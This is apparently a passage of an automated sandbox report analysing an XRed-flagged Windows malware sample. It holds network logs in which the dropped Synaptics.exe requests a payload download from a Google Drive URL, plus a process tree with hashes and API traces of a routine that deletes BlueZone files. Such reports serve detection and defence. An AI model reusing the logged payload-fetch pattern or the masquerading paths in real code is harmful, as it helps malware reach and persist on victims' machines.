20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50034	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ODHYWrJ6T_dlOUE7YlNbgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50035	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-75qE3D5WGlNpynIVWBKKww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50036	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 26f79bf1-901e-0083-7ec4-45bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231628Z-1746fd949bdjzh7thC1EWR3g6400000003gg000000001nnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50037	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:28 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0312aba8-e01e-0085-12cc-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231628Z-1746fd949bdjzh7thC1EWR3g6400000003d000000000d30z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50038	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 4879dc54-201e-0096-5ac3-45ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231628Z-1746fd949bdkw94lhC1EWRxuz400000003d000000000xaf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50039	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 1e2c2913-401e-0078-28cc-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231628Z-1746fd949bd2cq7chC1EWRnx9g00000002yg00000000k5t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Target ID:	0
Start time:	18:14:52
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\ZmrwoZsbPp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZmrwoZsbPp.exe"
Imagebase:	0x400000
File size:	859'136 bytes
MD5 hash:	803D6A88884F159F529566A156596E49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:14:52
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe"
Imagebase:	0x400000
File size:	87'616 bytes
MD5 hash:	853A72D29F1B6BDF5B3CA6858E66BD7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:14:53
Start date:	05/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	5643B6B0642A78914B2CA1BD87F25732
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:14:53
Start date:	05/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0xfb0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:15:02
Start date:	05/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	5643B6B0642A78914B2CA1BD87F25732
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:16:33
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 21576
Imagebase:	0xe70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:16:55
Start date:	05/12/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff653870000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	18:16:58
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 21576
Imagebase:	0xe70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.9%
Total number of Nodes:	1646
Total number of Limit Nodes:	23

Executed Functions

Function 00404380 Relevance: 394.6, APIs: 196, Strings: 29, Instructions: 831
stringfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowA.USER32(BlueZone Session Manager,00000000), ref: 00404496
PostMessageA.USER32(00000000,00000010,00000000,00003039), ref: 004044AA
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004044D8
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 004044F0
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone\*.ini), ref: 004044FC
FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00404508
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040453B
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00404551
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 0040455D
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404570
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040458B
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040459A
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 004045AE
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004045B5
FindNextFileA.KERNEL32(?,?), ref: 004045C1
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004045E4
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 004045FA
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00404606
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040460D
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040461C
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040462B
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 0040463F
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404646
FindNextFileA.KERNEL32(?,?), ref: 00404652
FindClose.KERNEL32(?), ref: 00404665
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404692
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 004046A8
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 004046B4
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,*.*), ref: 004046C0
FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 004046CC
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004046F1
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00404707
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00404713
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 0040471F
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 0040472B
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404732
FindNextFileA.KERNEL32(?,?), ref: 0040473E
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404762
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00404778
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00404784
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00404790
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 0040479C
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004047A3
FindNextFileA.KERNEL32(?,?), ref: 004047AF
FindClose.KERNEL32(?), ref: 004047BE

Strings

Software\Microsoft\Internet Explorer\Plugins\Extension\.e5p, xrefs: 00404AA1
*.*, xrefs: 004046B6
BlueZone Session Manager, xrefs: 00404473
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 004044B4, 004044C7, 004044CF, 004044EB, 004044F7, 00404503, 00404529, 00404536, 0040454C, 00404558, 0040455F, 00404567, 0040457A, 00404582, 00404591, 004045A5, 004045B0, 004045D2, 004045DF, 004045F5, 00404601, 00404608, 00404613, 00404622, 00404636, 00404641, 00404680, 0040468D, 004046A3, 004046AF, 004046BB, 004046C7, 004046DF, 004046EC, 00404702, 0040470E, 0040471A, 00404726, 0040472D, 00404750, 0040475D, 00404773, 0040477F, 0040478B, 00404797, 0040479E, 00404807, 00404855, 00404863, 00404874, 00404880, 00404887, 00404893, 0040489F, 004048AB, 004048B2, 004048BE, 004048CA, 004048D6, 004048DD, 004048E9, 004048F5, 00404901, 00404908, 00404914, 00404920, 0040492C, 00404933, 0040493F, 0040494B, 00404957, 0040495E, 0040496A, 00404976, 00404982, 00404989, 00404995, 004049A1, 004049AD, 004049CA, 004049D6, 004049E2, 004049EE, 004049F5, 00404A15, 00404A21, 00404A2D, 00404A39, 00404A40, 00404B0E, 00404B61, 00404B6F, 00404B80, 00404B8C, 00404B93, 00404B9F, 00404BAB, 00404BB7, 00404BBE, 00404BCA, 00404BD6, 00404BE2, 00404BE9, 00404BF5, 00404C01, 00404C0D, 00404C14, 00404C20, 00404C2C, 00404C38, 00404C3F, 00404C4B, 00404C57, 00404C63, 00404C6A, 00404C76, 00404C82, 00404C8E, 00404C95, 00404CA1, 00404CAD, 00404CB9, 00404CD6, 00404CE2, 00404CEE, 00404CFA, 00404D01, 00404D25, 00404D31, 00404D3D, 00404D49, 00404D50, 00404DAA, 00404E01, 00404E0F, 00404E20, 00404E2C, 00404E33, 00404E3F, 00404E4B, 00404E57, 00404E5E, 00404E6A, 00404E76, 00404E82, 00404E89, 00404E95, 00404EA1, 00404EAD, 00404EB4, 00404EC0, 00404ECC, 00404ED8, 00404EDF, 00404EEB, 00404EF7, 00404F03, 00404F0A, 00404F16, 00404F22, 00404F2E, 00404F35, 00404F41, 00404F4D, 00404F59, 00404F76, 00404F82, 00404F8E, 00404F9A, 00404FA1, 00404FC5, 00404FD1, 00404FDD, 00404FE9, 00404FF0
Software\Microsoft\Internet Explorer\Plugins\Extension\.e5d, xrefs: 00404A81
\NPEZ5D.DLL, xrefs: 004048C5, 00404BD1, 00404E71
ez3270\, xrefs: 00404394
Software\Microsoft\Windows\CurrentVersion\App Paths\NETSCAPE.EXE, xrefs: 00404AED
Software\Microsoft\Internet Explorer\Plugins\Extension\.e3d, xrefs: 00404A71
\NPEZ3D.DLL, xrefs: 0040486F, 00404B7B, 00404E1B
ez5250\, xrefs: 00404399
\NPSWH*.DLL, xrefs: 0040499C, 00404CA8, 00404F48
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\, xrefs: 00404868, 0040488E, 004048B9, 004048E4, 0040490F, 0040493A, 00404965, 00404990, 004049C5, 00404A10, 00404B74, 00404B9A, 00404BC5, 00404BF0, 00404C1B, 00404C46, 00404C71, 00404C9C, 00404CD1, 00404D20, 00404E14, 00404E3A, 00404E65, 00404E90, 00404EBB, 00404EE6, 00404F11, 00404F3C, 00404F71, 00404FC0
\NPEZ5P.DLL, xrefs: 004048F0, 00404BFC, 00404E9C
Software\Microsoft\Internet Explorer\Plugins\Extension\.evt, xrefs: 00404AB1
\Plugins, xrefs: 00404850, 00404B5C, 00404DFC
\NPEZFTP.DLL, xrefs: 0040491B, 00404C27, 00404EC7
BlueZone\*.ini, xrefs: 004044F2
Software\Microsoft\Internet Explorer\Plugins\Extension\.bwh, xrefs: 00404AD1
Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE, xrefs: 004047E0
BlueZone\, xrefs: 0040443B
Software\Microsoft\Windows\CurrentVersion\App Paths\NETSCP6.EXE, xrefs: 00404D8D
Software\Microsoft\Internet Explorer\Plugins\Extension\.e3p, xrefs: 00404A91
Software\Microsoft\Internet Explorer\Plugins\Extension\.eft, xrefs: 00404AC1
\NPEZ3P.DLL, xrefs: 0040489A, 00404BA6, 00404E46
\NPEZVT.DLL, xrefs: 00404946, 00404C52, 00404EF2
ezFTP\, xrefs: 004043FB
ezVT\, xrefs: 00404447
\NPBWH.DLL, xrefs: 00404971, 00404C7D, 00404F1D

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
